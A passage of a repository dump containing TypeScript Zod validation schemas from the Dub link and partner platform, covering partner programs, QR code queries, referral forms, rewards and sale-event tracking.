data;\n  })\n  .refine(\n    (data) =>\n      data.key !== \"emailDomain\" ||\n      data.value.every((v) => v.length > 1 && v !== \"@\"),\n    { message: \"Email domain values must be valid domain patterns\" },\n  );\n\nexport const applicationRequirementsSchema = z\n  .array(eligibilityConditionSchema)\n  .max(2);\n\nexport const ProgramSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  slug: z.string(),\n  logo: z.string().nullable(),\n  domain: z.string().nullable(),\n  url: z.string().nullable(),\n  description: z.string().nullish(),\n  primaryRewardEvent: z.enum(EventType).default(\"sale\"),\n  minPayoutAmount: z.number(),\n  addedToMarketplaceAt: z.date().nullish(),\n  messagingEnabledAt: z.date().nullish(),\n  partnerNetworkEnabledAt: z.date().nullish(),\n  payoutMode: z.enum(ProgramPayoutMode).default(\"internal\"),\n  rewards: z.array(RewardSchema).nullish(),\n  discounts: z.array(DiscountSchema).nullish(),\n  categories: z.array(z.enum(Category)).nullish(),\n  defaultFolderId: z.string(),\n  defaultGroupId: z.string(),\n  supportEmail: z.string().nullish(),\n  helpUrl: z.string().nullish(),\n  termsUrl: z.string().nullish(),\n  referralFormData: z.record(z.string(), z.any()).nullish(),\n  applicationRequirements: applicationRequirementsSchema.nullish(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n  startedAt: z.date().nullish(),\n});\n\n// TODO: move to group-level soon\nexport const ProgramSchemaWithInviteEmailData = ProgramSchema.extend({\n  inviteEmailData: programInviteEmailDataSchema,\n});\n\nexport const updateProgramSchema = z.object({\n  name: z.string(),\n  domain: z.string().nullable(),\n  url: z.string().nullable(),\n  holdingPeriodDays: z.coerce\n    .number()\n    .refine((val) => PAYOUT_HOLDING_PERIOD_DAYS.includes(val), {\n      message: `Holding period must be ${PAYOUT_HOLDING_PERIOD_DAYS.join(\", \")} days`,\n    }),\n  minPayoutAmount: z.coerce\n    .number()\n    .refine((val) => ALLOWED_MIN_PAYOUT_AMOUNTS.includes(val), {\n      message: `Minimum payout amount must be one of ${ALLOWED_MIN_PAYOUT_AMOUNTS.join(\", \")}`,\n    }),\n  supportEmail: z.email().max(255).nullish(),\n  helpUrl: z.url().max(500).nullish(),\n  termsUrl: z.url().max(500).nullish(),\n  messagingEnabledAt: z.coerce.date().nullish(),\n  referralFormData: referralFormSchema.nullish(),\n});\n\nexport const ProgramPartnerLinkSchema = LinkSchema.pick({\n  id: true,\n  domain: true,\n  key: true,\n  shortLink: true,\n  url: true,\n  clicks: true,\n  leads: true,\n  conversions: true,\n  sales: true,\n  saleAmount: true,\n});\n\nexport const ProgramEnrollmentSchema = z.object({\n  programId: z.string().describe(\"The program's unique ID on Dub.\"),\n  groupId: z.string().nullish().describe(\"The partner's group ID on Dub.\"),\n  partnerId: z.string().describe(\"The partner's unique ID on Dub.\"),\n  tenantId: z\n    .string()\n    .nullable()\n    .describe(\n      \"The partner's unique ID within your database. Can be useful for associating the partner with a user in your database and retrieving/update their data in the future.\",\n    ),\n  program: ProgramSchema,\n  createdAt: z.date(),\n  status: z\n    .enum(ProgramEnrollmentStatus)\n    .describe(\"The status of the partner's enrollment in the program.\"),\n  links: z\n    .array(ProgramPartnerLinkSchema)\n    .nullable()\n    .describe(\"The partner's referral links in this program.\"),\n  totalCommissions: centsSchemaWithDefault,\n  rewards: z.array(RewardSchema).nullish(),\n  clickRewardId: z.string().nullish(),\n  leadRewardId: z.string().nullish(),\n  saleRewardId: z.string().nullish(),\n  discount: DiscountSchema.nullish(),\n  discountId: z.string().nullish(),\n  applicationId: z\n    .string()\n    .nullish()\n    .describe(\n      \"If the partner submitted an application to join the program, this is the ID of the application.\",\n    ),\n  bannedAt: z\n    .date()\n    .nullish()\n    .describe(\n      \"If the partner was banned from the program, this is the date of the ban.\",\n    ),\n  bannedReason: z\n    .enum(Object.keys(PartnerBannedReason) as [PartnerBannedReason])\n    .nullish()\n    .describe(\n      \"If the partner was banned from the program, this is the reason for the ban.\",\n    ),\n  group: GroupSchema.pick({\n    id: true,\n    logo: true,\n    wordmark: true,\n    brandColor: true,\n    holdingPeriodDays: true,\n    additionalLinks: true,\n    maxPartnerLinks: true,\n    linkStructure: true,\n  }).nullish(),\n  customerDataSharingEnabledAt: z.date().nullable(),\n  groupMoveDisabledAt: z.date().nullable(),\n  referralFormData: referralFormSchema.nullish(),\n});\n\nexport const ProgramInviteSchema = z.object({\n  id: z.string(),\n  email: z.string(),\n  shortLink: z.string(),\n  createdAt: z.date(),\n});\n\nexport const getProgramMetricsQuerySchema = z.object({\n  interval: z\n    .enum(DATE_RANGE_INTERVAL_PRESETS)\n    .default(DUB_PARTNERS_ANALYTICS_INTERVAL),\n  start: parseDateSchema.optional(),\n  end: parseDateSchema.optional(),\n});\n\nexport const PartnerProgramInviteSchema = z.object({\n  id: z.string(),\n  email: z.string(),\n  program: ProgramSchema,\n  reward: RewardSchema.nullable(),\n});\n\nexport const ProgramMetricsSchema = z.object({\n  partnersCount: z.number(),\n  commissionsCount: z.number(),\n  commissions: z.number(),\n  payouts: z.number(),\n});\n\nexport const createProgramApplicationSchema = z.object({\n  programId: z.string(),\n  groupId: z.string().optional(),\n  name: z.string().trim().min(1).max(100),\n  email: z.email().trim().min(1).max(100),\n  country: z.enum(COUNTRY_CODES),\n  formData: programApplicationFormDataWithValuesSchema,\n  inAppApplication: z.boolean().optional(),\n});\n\nexport const PartnerCommentSchema = z.object({\n  id: z.string(),\n  programId: z.string(),\n  partnerId: z.string(),\n  userId: z.string(),\n  user: UserSchema.pick({\n    id: true,\n    name: true,\n    image: true,\n  }),\n  text: z.string(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n});\n\nexport const MAX_PROGRAM_PARTNER_COMMENT_LENGTH = 2000;\n\nexport const createPartnerCommentSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  text: z.string().min(1).max(MAX_PROGRAM_PARTNER_COMMENT_LENGTH),\n});\n\nexport const updatePartnerCommentSchema = z.object({\n  workspaceId: z.string(),\n  id: z.string(),\n  text: z.string().min(1).max(MAX_PROGRAM_PARTNER_COMMENT_LENGTH),\n});\n\nexport const deletePartnerCommentSchema = z.object({\n  workspaceId: z.string(),\n  commentId: z.string(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/qr.ts",
    "content": "import {\n  DEFAULT_BGCOLOR,\n  DEFAULT_FGCOLOR,\n  DEFAULT_MARGIN,\n  QR_LEVELS,\n} from \"@/lib/qr/constants\";\nimport * as z from \"zod/v4\";\nimport { booleanQuerySchema } from \"./misc\";\nimport { parseUrlSchema } from \"./utils\";\n\nexport const getQRCodeQuerySchema = z.object({\n  url: parseUrlSchema.describe(\"The URL to generate a QR code for.\"),\n  logo: z\n    .string()\n    .optional()\n    .describe(\n      \"The logo to include in the QR code. Can only be used with a paid plan on Dub.\",\n    ),\n  size: z.coerce\n    .number()\n    .optional()\n    .default(600)\n    .describe(\n      \"The size of the QR code in pixels. Defaults to `600` if not provided.\",\n    ),\n  level: z\n    .enum(QR_LEVELS)\n    .optional()\n    .default(\"L\")\n    .describe(\n      \"The level of error correction to use for the QR code. Defaults to `L` if not provided.\",\n    ),\n  fgColor: z\n    .string()\n    .optional()\n    .default(DEFAULT_FGCOLOR)\n    .describe(\n      \"The foreground color of the QR code in hex format. Defaults to `#000000` if not provided.\",\n    ),\n  bgColor: z\n    .string()\n    .optional()\n    .default(DEFAULT_BGCOLOR)\n    .describe(\n      \"The background color of the QR code in hex format. Defaults to `#ffffff` if not provided.\",\n    ),\n  hideLogo: booleanQuerySchema\n    .optional()\n    .default(false)\n    .describe(\n      \"Whether to hide the logo in the QR code. Can only be used with a paid plan on Dub.\",\n    ),\n  margin: z.coerce\n    .number()\n    .optional()\n    .default(DEFAULT_MARGIN)\n    .describe(\n      `The size of the margin around the QR code. Defaults to ${DEFAULT_MARGIN} if not provided.`,\n    ),\n  includeMargin: booleanQuerySchema\n    .optional()\n    .default(true)\n    .describe(\n      \"DEPRECATED: Margin is included by default. Use the `margin` prop to customize the margin size.\",\n    )\n    .meta({ deprecated: true }),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/referral-form.ts",
    "content": "import * as z from \"zod/v4\";\n\nconst fieldTypeSchema = z.enum([\n  \"text\",\n  \"textarea\",\n  \"select\",\n  \"country\",\n  \"date\",\n  \"multiSelect\",\n  \"number\",\n  \"phone\",\n]);\n\nexport const fieldCommonSchema = z.object({\n  key: z.string().min(1),\n  label: z.string().min(1),\n  required: z.boolean(),\n  locked: z.boolean(),\n  position: z.number().int().nonnegative(),\n});\n\nexport const selectOptionSchema = z.object({\n  label: z.string().min(1),\n  value: z.string().min(1),\n});\n\n// Text\nexport const textFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"text\"),\n  constraints: z\n    .object({\n      maxLength: z.number().int().positive().optional(),\n      pattern: z.string().optional(),\n    })\n    .optional(),\n});\n\n// Textarea\nexport const textareaFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"textarea\"),\n  constraints: z\n    .object({\n      maxLength: z.number().int().positive().optional(),\n    })\n    .optional(),\n});\n\n// Select\nexport const selectFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"select\"),\n  options: z.array(selectOptionSchema).min(2),\n});\n\n// Country\nexport const countryFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"country\"),\n});\n\n// Date\nexport const dateFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"date\"),\n});\n\n// Multiple Choices (Multi-select)\nexport const multiSelectFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"multiSelect\"),\n  options: z.array(selectOptionSchema).min(2),\n});\n\n// Number\nexport const numberFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"number\"),\n});\n\n// Phone Number\nexport const phoneFieldSchema = fieldCommonSchema.extend({\n  type: z.literal(\"phone\"),\n});\n\nexport const formFieldSchema = z.discriminatedUnion(\"type\", [\n  textFieldSchema,\n  textareaFieldSchema,\n  selectFieldSchema,\n  countryFieldSchema,\n  dateFieldSchema,\n  multiSelectFieldSchema,\n  numberFieldSchema,\n  phoneFieldSchema,\n]);\n\nexport const formFieldsSchema = z\n  .array(formFieldSchema)\n  .min(1)\n  .superRefine((fields, ctx) => {\n    const keys = new Set<string>();\n    const positions = new Set<number>();\n\n    for (const field of fields) {\n      if (keys.has(field.key)) {\n        ctx.addIssue({\n          path: [\"fields\"],\n          message: `Duplicate field key: ${field.key}`,\n          code: z.ZodIssueCode.custom,\n        });\n      }\n\n      if (positions.has(field.position)) {\n        ctx.addIssue({\n          path: [\"fields\"],\n          message: `Duplicate field position: ${field.position}`,\n          code: z.ZodIssueCode.custom,\n        });\n      }\n\n      keys.add(field.key);\n      positions.add(field.position);\n    }\n  });\n\n// Full form schema (builder storage)\nexport const referralFormSchema = z.object({\n  fields: formFieldsSchema,\n});\n\n// This is the schema for the submitted form data that is stored in the database\nexport const referralFormDataSchema = z.object({\n  key: z.string().min(1),\n  label: z.string().min(1),\n  value: z.unknown(),\n  type: fieldTypeSchema.default(\"text\"),\n});\n\n// Schema for validating required fields\nexport const referralRequiredFieldsSchema = z.object({\n  name: z.string().min(1, \"Name is required\"),\n  email: z.email(\"Invalid email address\"),\n  company: z.string().min(1, \"Company is required\"),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/referrals-embed.ts",
    "content": "import * as z from \"zod/v4\";\nimport { LinkSchema } from \"./links\";\n\nexport const ReferralsEmbedLinkSchema = LinkSchema.pick({\n  id: true,\n  domain: true,\n  key: true,\n  url: true,\n  shortLink: true,\n  clicks: true,\n  leads: true,\n  sales: true,\n  saleAmount: true,\n}).extend({\n  partnerGroupDefaultLinkId: z.string().nullish(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/referrals.ts",
    "content": "import { ReferralStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { getPaginationQuerySchema } from \"./misc\";\nimport { PartnerSchema } from \"./partners\";\nimport { referralFormDataSchema } from \"./referral-form\";\nimport { centsSchema } from \"./utils\";\n\nexport const referralSchema = z.object({\n  id: z.string(),\n  programId: z.string(),\n  partnerId: z.string(),\n  name: z.string(),\n  email: z.email(),\n  company: z.string(),\n  status: z.enum(ReferralStatus),\n  formData: z.array(referralFormDataSchema).nullable().optional(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n  partner: PartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n  }),\n});\n\nexport const getPartnerReferralsQuerySchema = z\n  .object({\n    partnerId: z.string().optional(),\n    status: z.enum(ReferralStatus).optional(),\n    search: z.string().optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const getPartnerReferralsCountQuerySchema =\n  getPartnerReferralsQuerySchema\n    .omit({\n      page: true,\n      pageSize: true,\n    })\n    .extend({\n      groupBy: z.enum([\"status\", \"partnerId\"]).optional(),\n    });\n\nexport const partnerReferralsCountByStatusSchema = z.object({\n  status: z.enum(ReferralStatus),\n  _count: z.number(),\n});\n\nexport const partnerReferralsCountByPartnerIdSchema = z.object({\n  partnerId: z.string(),\n  _count: z.number(),\n});\n\nexport const partnerReferralsCountResponseSchema = z.union([\n  z.array(partnerReferralsCountByStatusSchema),\n  z.array(partnerReferralsCountByPartnerIdSchema),\n  z.number(),\n]);\n\nexport const createPartnerReferralSchema = z.object({\n  programId: z.string(),\n  formData: z.record(z.string(), z.unknown()), // Contains all form fields including name, email, company\n});\n\nexport const updateReferralSchema = z.object({\n  referralId: z.string(),\n  workspaceId: z.string(),\n  name: z.string().min(1, \"Name is required\"),\n  email: z.email(\"Invalid email address\"),\n  company: z.string().min(1, \"Company is required\"),\n  formData: z.array(referralFormDataSchema).nullable().optional(),\n});\n\nconst updateReferralStatusBaseSchema = z.object({\n  referralId: z.string(),\n  workspaceId: z.string(),\n  notes: z\n    .string()\n    .trim()\n    .max(1000, \"Notes must be less than 1000 characters\")\n    .optional(),\n});\n\nexport const updateReferralStatusSchema = z.discriminatedUnion(\"status\", [\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"pending\"),\n  }),\n\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"qualified\"),\n    externalId: z.string().trim().optional(),\n  }),\n\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"meeting\"),\n  }),\n\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"negotiation\"),\n  }),\n\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"unqualified\"),\n  }),\n\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"closedWon\"),\n    saleAmount: centsSchema.pipe(\n      z.number().min(0, \"Sale amount must be greater than or equal to 0\"),\n    ),\n    stripeCustomerId: z.string().optional(),\n  }),\n\n  updateReferralStatusBaseSchema.extend({\n    status: z.literal(\"closedLost\"),\n  }),\n]);\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/rewards.ts",
    "content": "import { EventType, RewardStructure } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { getPaginationQuerySchema, maxDurationSchema } from \"./misc\";\nimport { centsSchema } from \"./utils\";\n\nexport const COMMISSION_TYPES = [\n  {\n    value: \"recurring\",\n    label: \"Recurring\",\n    description: \"Pay an ongoing payout\",\n    shortDescription: \"Ongoing payouts\",\n  },\n  {\n    value: \"one-off\",\n    label: \"One-off\",\n    description: \"Pay a one-time payout\",\n    shortDescription: \"Single payouts\",\n  },\n] as const;\n\nexport type RewardConditionEntityAttribute = {\n  id: string;\n  label: string;\n  type: \"string\" | \"enum\" | \"number\" | \"currency\" | \"date\";\n  options?: {\n    id: string;\n    label: string;\n  }[];\n};\n\nexport type RewardConditionEntity = {\n  id: \"partner\" | \"customer\" | \"sale\";\n  label: string;\n  attributes: RewardConditionEntityAttribute[];\n};\n\nconst PARTNER_ENTITY: RewardConditionEntity = {\n  id: \"partner\",\n  label: \"Partner\",\n  attributes: [\n    {\n      id: \"country\",\n      label: \"Country\",\n      type: \"enum\",\n    },\n    {\n      id: \"totalClicks\",\n      label: \"Total clicks\",\n      type: \"number\",\n    },\n    {\n      id: \"totalLeads\",\n      label: \"Total leads\",\n      type: \"number\",\n    },\n    {\n      id: \"totalConversions\",\n      label: \"Total conversions\",\n      type: \"number\",\n    },\n    {\n      id: \"totalSaleAmount\",\n      label: \"Total revenue\",\n      type: \"currency\",\n    },\n    {\n      id: \"totalCommissions\",\n      label: \"Total commissions\",\n      type: \"currency\",\n    },\n  ],\n};\n\nconst CUSTOMER_ENTITY: RewardConditionEntity = {\n  id: \"customer\",\n  label: \"Customer\",\n  attributes: [\n    {\n      id: \"country\",\n      label: \"Country\",\n      type: \"enum\",\n    },\n  ],\n};\n\nexport const REWARD_CONDITIONS: Record<\n  EventType,\n  {\n    entities: RewardConditionEntity[];\n  }\n> = {\n  // Click reward\n  click: {\n    entities: [CUSTOMER_ENTITY],\n  },\n\n  // Lead reward\n  lead: {\n    entities: [\n      {\n        ...CUSTOMER_ENTITY,\n        attributes: [\n          ...CUSTOMER_ENTITY.attributes,\n          {\n            id: \"source\",\n            label: \"Source\",\n            type: \"string\",\n            options: [\n              {\n                id: \"tracked\",\n                label: \"tracked lead\",\n              },\n              {\n                id: \"submitted\",\n                label: \"submitted referral\",\n              },\n              {\n                id: \"trial\",\n                label: \"free trial\",\n              },\n            ],\n          },\n        ],\n      },\n      PARTNER_ENTITY,\n    ],\n  },\n\n  // Sale reward\n  sale: {\n    entities: [\n      {\n        ...CUSTOMER_ENTITY,\n        attributes: [\n          ...CUSTOMER_ENTITY.attributes,\n          {\n            id: \"source\",\n            label: \"Source\",\n            type: \"string\",\n            options: [\n              {\n                id: \"tracked\",\n                label: \"tracked sale\",\n              },\n              {\n                id: \"submitted\",\n                label: \"closed won deal\",\n              },\n            ],\n          },\n          {\n            id: \"subscriptionDurationMonths\",\n            label: \"Subscription duration\",\n            type: \"number\",\n          },\n          {\n            id: \"subscriptionStartDate\",\n            label: \"Subscription start date\",\n            type: \"date\",\n          },\n          {\n            id: \"signupDate\",\n            label: \"Signup date\",\n            type: \"date\",\n          },\n        ],\n      },\n      PARTNER_ENTITY,\n      {\n        id: \"sale\",\n        label: \"Sale\",\n        attributes: [\n          {\n            id: \"productId\",\n            label: \"Product ID\",\n            type: \"string\",\n          },\n          {\n            id: \"amount\",\n            label: \"Amount\",\n            type: \"currency\",\n          },\n        ],\n      },\n    ],\n  },\n};\n\nexport const REWARD_CONDITION_ENTITIES = [\n  ...new Set(\n    Object.values(REWARD_CONDITIONS).flatMap(({ entities }) => entities),\n  ),\n];\n\nexport const REWARD_CONDITION_ATTRIBUTES = [\n  ...new Set(\n    Object.values(REWARD_CONDITIONS).flatMap(({ entities }) =>\n      entities.flatMap(({ attributes }) => attributes),\n    ),\n  ),\n];\n\nexport const CONDITION_OPERATORS = [\n  \"equals_to\",\n  \"not_equals\",\n  \"starts_with\",\n  \"ends_with\",\n  \"in\",\n  \"not_in\",\n  \"greater_than\",\n  \"greater_than_or_equal\",\n  \"less_than\",\n  \"less_than_or_equal\",\n] as const;\n\nexport const STRING_CONDITION_OPERATORS: (typeof CONDITION_OPERATORS)[number][] =\n  [\"equals_to\", \"not_equals\", \"starts_with\", \"ends_with\", \"in\", \"not_in\"];\n\nexport const ENUM_CONDITION_OPERATORS: (typeof CONDITION_OPERATORS)[number][] =\n  [\"equals_to\", \"not_equals\", \"in\", \"not_in\"];\n\nexport const NUMBER_CONDITION_OPERATORS: (typeof CONDITION_OPERATORS)[number][] =\n  [\n    \"equals_to\",\n    \"not_equals\",\n    \"greater_than\",\n    \"greater_than_or_equal\",\n    \"less_than\",\n    \"less_than_or_equal\",\n  ];\n\nexport const DATE_CONDITION_OPERATORS: (typeof CONDITION_OPERATORS)[number][] =\n  [\"greater_than\", \"greater_than_or_equal\", \"less_than\", \"less_than_or_equal\"];\n\nexport const CONDITION_OPERATOR_LABELS = {\n  equals_to: \"is\",\n  not_equals: \"is not\",\n  starts_with: \"starts with\",\n  ends_with: \"ends with\",\n  in: \"is one of\",\n  not_in: \"is not one of\",\n  greater_than: \"is greater than\",\n  greater_than_or_equal: \"is greater than or equal to\",\n  less_than: \"is less than\",\n  less_than_or_equal: \"is less than or equal to\",\n} as const;\n\nexport const rewardConditionSchema = z.object({\n  entity: z.enum(\n    REWARD_CONDITION_ENTITIES.map(({ id }) => id) as [string, ...string[]],\n  ),\n  attribute: z.enum(\n    REWARD_CONDITION_ATTRIBUTES.map(({ id }) => id) as [string, ...string[]],\n  ),\n  operator: z.enum(CONDITION_OPERATORS),\n  value: z.union([\n    z.string(),\n    z.number(),\n    z.array(z.string()),\n    z.array(z.number()),\n  ]),\n  label: z\n    .string()\n    .nullish()\n    .describe(\"Product name used for display purposes in the UI.\"),\n});\n\nexport const PERCENTAGE_REWARD_AMOUNT_SCHEMA = z\n  .number()\n  .min(0, { message: \"Reward percentage amount cannot be less than 0%\" })\n  .max(100, {\n    message: \"Reward percentage amount cannot be greater than 100%\",\n  });\n\nexport const FLAT_REWARD_AMOUNT_SCHEMA = z\n  .number()\n  .int()\n  .min(0, { message: \"Reward amount cannot be less than $0\" })\n  .max(999_999_99, {\n    message: \"Reward amount cannot be greater than $999,999.99\",\n  });\n\nexport const rewardConditionsSchema = z.object({\n  id: z.string().optional(),\n  operator: z.enum([\"AND\", \"OR\"]).default(\"AND\"),\n  conditions: z.array(rewardConditionSchema).min(1),\n  amountInCents: FLAT_REWARD_AMOUNT_SCHEMA.optional(),\n  amountInPercentage: PERCENTAGE_REWARD_AMOUNT_SCHEMA.optional(),\n  type: z.enum(RewardStructure).optional(),\n  maxDuration: maxDurationSchema,\n});\n\nexport const rewardConditionsArraySchema = z\n  .array(rewardConditionsSchema)\n  .min(1);\n\nconst decimalToNumber = z\n  .any()\n  .transform((val) => (val != null && val !== \"\" ? Number(val) : null))\n  .nullable()\n  .optional();\n\nexport const RewardSchema = z.object({\n  id: z.string(),\n  event: z.enum(EventType),\n  description: z.string().nullish(),\n  tooltipDescription: z.string().nullish(),\n  type: z.enum(RewardStructure),\n  amountInCents: z.number().int().nullable().optional(),\n  amountInPercentage: decimalToNumber,\n  maxDuration: z.number().nullish(),\n  modifiers: z.any().nullish(), // TODO: Fix this\n  updatedAt: z.coerce.date(),\n});\n\nexport const REWARD_DESCRIPTION_MAX_LENGTH = 100;\nexport const REWARD_TOOLTIP_DESCRIPTION_MAX_LENGTH = 2000;\n\nexport const createOrUpdateRewardSchema = z.object({\n  workspaceId: z.string(),\n  event: z.enum(EventType),\n  type: z.enum(RewardStructure).default(RewardStructure.flat),\n  amountInCents: FLAT_REWARD_AMOUNT_SCHEMA.optional(),\n  amountInPercentage: PERCENTAGE_REWARD_AMOUNT_SCHEMA.optional(),\n  maxDuration: maxDurationSchema,\n  modifiers: rewardConditionsArraySchema.nullish(),\n  description: z.string().max(REWARD_DESCRIPTION_MAX_LENGTH).nullish(),\n  tooltipDescription: z\n    .string()\n    .max(REWARD_TOOLTIP_DESCRIPTION_MAX_LENGTH)\n    .nullish(),\n  groupId: z.string(),\n});\n\nexport const createRewardSchema = createOrUpdateRewardSchema.superRefine(\n  (data) => {\n    if (data.event !== EventType.sale) {\n      data.maxDuration = 0;\n      data.type = \"flat\";\n    }\n  },\n);\n\nexport const updateRewardSchema = createOrUpdateRewardSchema\n  .omit({\n    event: true,\n    groupId: true,\n  })\n  .extend({\n    rewardId: z.string(),\n  });\n\nexport const rewardPartnersQuerySchema = z\n  .object({\n    rewardId: z.string(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 25 }));\n\nexport const REWARD_EVENT_COLUMN_MAPPING = Object.freeze({\n  click: \"clickRewardId\",\n  lead: \"leadRewardId\",\n  sale: \"saleRewardId\",\n});\n\nexport const CUSTOMER_SOURCES = [\"tracked\", \"submitted\", \"trial\"] as const;\n\nexport const rewardContextSchema = z.object({\n  customer: z\n    .object({\n      country: z.string().nullish(),\n      source: z.enum(CUSTOMER_SOURCES).default(\"tracked\").nullish(),\n      signupDate: z.date().nullish(),\n      subscriptionStartDate: z.date().nullish(),\n      subscriptionDurationMonths: z.number().nullish(),\n    })\n    .optional(),\n\n  sale: z\n    .object({\n      productId: z.string().nullish(),\n      amount: z.number().nullish(),\n    })\n    .optional(),\n\n  partner: z\n    .object({\n      country: z.string().nullish(),\n      totalClicks: z.number().nullish(),\n      totalLeads: z.number().nullish(),\n      totalConversions: z.number().nullish(),\n      totalSaleAmount: centsSchema.nullish(),\n      totalCommissions: centsSchema.nullish(),\n    })\n    .optional(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/sales.ts",
    "content": "import * as z from \"zod/v4\";\nimport { clickEventSchema, clickEventSchemaTB } from \"./clicks\";\nimport { CustomerSchema } from \"./customers\";\nimport { commonDeprecatedEventFields } from \"./deprecated\";\nimport { linkEventSchema } from \"./links\";\nimport { centsSchema } from \"./utils\";\n\nexport const trackSaleRequestSchema = z.object({\n  customerExternalId: z\n    .string()\n    .trim()\n    .min(1, \"customerExternalId is required\")\n    .max(100)\n    .describe(\n      \"The unique ID of the customer in your system. Will be used to identify and attribute all future events to this customer.\",\n    ),\n  amount: z\n    .number({ error: \"amount is required\" })\n    .int()\n    .min(0, \"amount cannot be negative\")\n    .describe(\n      \"The amount of the sale in cents (for all two-decimal currencies). If the sale is in a zero-decimal currency, pass the full integer value (e.g. `1580` JPY). Learn more: https://d.to/currency\",\n    ),\n  currency: z\n    .string()\n    .default(\"usd\")\n    .transform((val) => val.toLowerCase())\n    .describe(\n      \"The currency of the sale. Accepts ISO 4217 currency codes. Sales will be automatically converted and stored as USD at the latest exchange rates. Learn more: https://d.to/currency\",\n    ),\n  eventName: z\n    .string()\n    .max(255)\n    .optional()\n    .default(\"Purchase\")\n    .describe(\n      \"The name of the sale event. Recommended format: `Invoice paid` or `Subscription created`.\",\n    )\n    .meta({ example: \"Invoice paid\" }),\n  paymentProcessor: z\n    .enum([\"stripe\", \"shopify\", \"polar\", \"paddle\", \"revenuecat\", \"custom\"])\n    .default(\"custom\")\n    .describe(\"The payment processor via which the sale was made.\"),\n  invoiceId: z\n    .string()\n    .nullish()\n    .default(null)\n    .describe(\n      \"The invoice ID of the sale. Can be used as a idempotency key – only one sale event can be recorded for a given invoice ID.\",\n    ),\n  metadata: z\n    .record(z.string(), z.any())\n    .nullish()\n    .default(null)\n    .refine((val) => !val || JSON.stringify(val).length <= 10000, {\n      message: \"Metadata must be less than 10,000 characters when stringified\",\n    })\n    .describe(\n      \"Additional metadata to be stored with the sale event. Max 10,000 characters when stringified.\",\n    ),\n  // advanced fields: leadEventName + fields for sale tracking without a  lead event\n  leadEventName: z\n    .string()\n    .nullish()\n    .default(null)\n    .describe(\n      \"The name of the lead event that occurred before the sale (case-sensitive). This is used to associate the sale event with a particular lead event (instead of the latest lead event for a link-customer combination, which is the default behavior). For direct sale tracking, this field can also be used to specify the lead event name.\",\n    )\n    .meta({ example: \"Cloned template 1481267\" }),\n  clickId: z\n    .string()\n    .trim()\n    .nullish()\n    .describe(\n      \"[For direct sale tracking]: The unique ID of the click that the sale conversion event is attributed to. You can read this value from `dub_id` cookie.\",\n    ),\n  customerName: z\n    .string()\n    .max(100)\n    .nullish()\n    .default(null)\n    .describe(\n      \"[For direct sale tracking]: The name of the customer. If not passed, a random name will be generated (e.g. “Big Red Caribou”).\",\n    ),\n  customerEmail: z\n    .email()\n    .max(100)\n    .nullish()\n    .default(null)\n    .describe(\"[For direct sale tracking]: The email address of the customer.\"),\n  customerAvatar: z\n    .string()\n    .nullish()\n    .default(null)\n    .describe(\"[For direct sale tracking]: The avatar URL of the customer.\"),\n});\n\nexport const trackSaleResponseSchema = z.object({\n  eventName: z.string(),\n  customer: z\n    .object({\n      id: z.string(),\n      name: z.string().nullable(),\n      email: z.string().nullable(),\n      avatar: z.string().nullable(),\n      externalId: z.string().nullable(),\n    })\n    .nullable(),\n  sale: z\n    .object({\n      amount: z.number(),\n      currency: z.string(),\n      paymentProcessor: z.string(),\n      invoiceId: z.string().nullable(),\n      metadata: z.record(z.string(), z.any()).nullable(),\n    })\n    .nullable(),\n});\n\nexport const saleEventSchemaTB = clickEventSchemaTB\n  .omit({ timestamp: true })\n  .extend({\n    timestamp: z.string().optional(), //autogenerated by Tinybird\n    event_id: z.string(),\n    event_name: z.string().default(\"Purchase\"),\n    customer_id: z.string(),\n    payment_processor: z.string().default(\"custom\"),\n    amount: z.number(),\n    invoice_id: z.string().default(\"\"),\n    currency: z\n      .string()\n      .default(\"usd\")\n      .transform((val) => val.toLowerCase()),\n    metadata: z.string().default(\"\"),\n  });\n\n// response from tinybird endpoint\nexport const saleEventSchemaTBEndpoint = z.object({\n  event: z.literal(\"sale\"),\n  timestamp: z.string(),\n  event_id: z.string(),\n  event_name: z.string(),\n  customer_id: z.string(),\n  payment_processor: z.string(),\n  invoice_id: z.string(),\n  saleAmount: centsSchema,\n  click_id: z.string(),\n  link_id: z.string(),\n  url: z.string(),\n  continent: z.string().nullable(),\n  country: z.string().nullable(),\n  city: z.string().nullable(),\n  region: z.string().nullable(),\n  region_processed: z.string().nullable(),\n  device: z.string().nullable(),\n  browser: z.string().nullable(),\n  os: z.string().nullable(),\n  trigger: z.string().nullish(), // backwards compatibility\n  referer: z.string().nullable(),\n  referer_url: z.string().nullable(),\n  referer_url_processed: z.string().nullable(),\n  qr: z.number().nullable(),\n  ip: z.string().nullable(),\n  metadata: z.string().nullish(),\n});\n\n// response from dub api\nexport const saleEventResponseSchema = z\n  .object({\n    event: z.literal(\"sale\"),\n    timestamp: z.coerce.string(),\n    // core event fields\n    eventId: z.string(),\n    eventName: z.string(),\n    sale: trackSaleRequestSchema.pick({\n      amount: 